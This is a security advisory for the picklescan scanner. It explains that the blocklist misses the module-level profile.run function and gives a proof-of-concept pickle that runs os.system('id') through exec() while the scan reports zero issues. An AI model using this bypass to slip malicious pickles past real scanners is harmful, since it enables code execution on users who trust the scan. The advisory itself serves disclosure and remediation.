GHSA-7wx9-6375-f5wh — picklescan

Summary

picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".

Severity

High — Direct code execution via exec() with zero scanner detection.

Affected Versions

• picklescan v1.0.3 (latest — the profile entries were added in recent versions)
• Earlier versions also affected (profile not blocked at all)

Details

Root Cause

In scanner.py line 199, the blocklist entry for profile is:

"profile": {"Profile.run", "Profile.runctx"},

When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts:

• module = "profile"
• name = "run"

The blocklist check at line 414 is:

elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):

This checks: is "run" in {"Profile.run", "Profile.runctx"}?

Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.

What profile.run() Does

# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
    prof = Profile()
    try:
        prof.run(statement)  # Calls exec(statement)
    except SystemExit:
        pass
    ...

profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# profile.run("import os; os.system('id')")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 60)
    + sbu("profile") + sbu("run") + b"\x93"
    + sbu("import os; os.system('id')")
    + b"\x85" + b"R" + b"."
)

# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)

Comparison

The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.

Impact

profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.

Suggested Fix

Change the profile blocklist entry from:

"profile": {"Profile.run", "Profile.runctx"},

to:

"profile": "*",

Or explicitly add the module-level functions:

"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},

Resources

• picklescan source: scanner.py line 199 ("profile": {"Profile.run", "Profile.runctx"})
• picklescan source: scanner.py line 414 (exact string match logic)
• Python source: Lib/profile.py run() function — calls exec()